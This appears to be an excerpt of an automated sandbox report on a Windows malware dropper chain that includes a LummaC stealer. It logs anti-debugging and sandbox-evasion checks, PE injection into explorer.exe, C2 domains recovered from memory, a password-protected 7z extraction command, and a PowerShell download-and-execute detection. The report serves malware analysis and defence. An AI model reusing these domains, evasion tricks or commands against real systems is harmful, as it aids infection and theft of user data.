                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeThread information set: HideFromDebugger
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeThread information set: HideFromDebugger
                                      Tries to detect sandboxes and other dynamic analysis tools (window names)
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: gbdyllo
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: procmon_window_class
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: ollydbg
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: filemonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: NTICE
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: SICE
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: SIWVID
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSystem information queried: KernelDebuggerInformation
                                      Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess queried: DebugPortJump to behavior
                                      Source: C:\Windows\explorer.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Windows\explorer.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess queried: DebugPort
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_050B0520 rdtsc 0_2_050B0520
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006F66A8 GetCurrentProcess,GetProcessTimes,memset,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,fputs,fputs,11_2_006F66A8
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0089652B mov eax, dword ptr fs:[00000030h]0_2_0089652B
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0089A302 mov eax, dword ptr fs:[00000030h]0_2_0089A302
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00ABA302 mov eax, dword ptr fs:[00000030h]2_2_00ABA302
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AB652B mov eax, dword ptr fs:[00000030h]2_2_00AB652B
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00ABA302 mov eax, dword ptr fs:[00000030h]3_2_00ABA302
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AB652B mov eax, dword ptr fs:[00000030h]3_2_00AB652B
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess token adjusted: Debug
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: Debug
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeMemory allocated: page read and write | page guard

                                      HIPS / PFW / Operating System Protection Evasion

                                      barindex
                                      Yara detected Powershell download and execute
                                      Source: Yara matchFile source: Process Memory Space: d173cd9705.exe PID: 5832, type: MEMORYSTR
                                      Injects a PE file into a foreign processes
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: C:\Windows\explorer.exe base: 140000000 value starts with: 4D5A
                                      Injects code into the Windows Explorer (explorer.exe)
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 140000000 value: 4D
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 140001000 value: 40
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 1402DD000 value: 58
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 14040B000 value: A4
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 140739000 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 14075E000 value: 48
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 14075F000 value: 48
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 140762000 value: 48
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 140764000 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 140765000 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 6300 base: 8C1010 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 140000000 value: 4D
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 140001000 value: 40
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 1402DD000 value: 58
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 14040B000 value: A4
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 140739000 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 14075E000 value: 48
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 14075F000 value: 48
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 140762000 value: 48
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 140764000 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 140765000 value: 00
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: PID: 3836 base: 5B2010 value: 00
                                      LummaC encrypted strings found
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: rapeflowwj.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: crosshuaht.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: sustainskelet.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: aspecteirs.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: energyaffai.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: necklacebudi.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: discokeyus.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: grannyejh.lat
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: lossekniyyt.click
                                      Source: 1f3cab3382.exe, 00000026.00000003.3075192500.0000000004FF0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: sweepyribs.lat
                                      Modifies the context of a thread in another process (thread injection)
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeThread register set: target process: 6300
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeThread register set: target process: 3836
                                      Writes to foreign memory regions
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeMemory written: C:\Windows\explorer.exe base: 140000000
                                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe "C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe "C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe "C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe "C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mode.com mode 65,10Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +H "in.exe"Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe" Jump to behavior
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe
                                      Source: 0d11b39aa9.exe, 0000002D.00000002.3439364577.0000000000D02000.00000002.00000001.01000000.00000014.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                                      Source: skotes.exeBinary or memory string: (mProgram Manager
                                      Source: file.exe, 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: mProgram Manager
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006FD670 cpuid 11_2_006FD670
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017197001\ac4070e535.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017197001\ac4070e535.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017198001\0d6943bad9.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017198001\0d6943bad9.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017199001\76071bda24.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017199001\76071bda24.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017200001\21e0119c5d.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017200001\21e0119c5d.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017201001\0b2a906d0b.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017201001\0b2a906d0b.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017202001\e46d190865.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017202001\e46d190865.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017203001\83219d45be.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017203001\83219d45be.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017204001\416832dc07.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017204001\416832dc07.exe VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: unknown VolumeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: unknown VolumeInformationJump to behavior
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
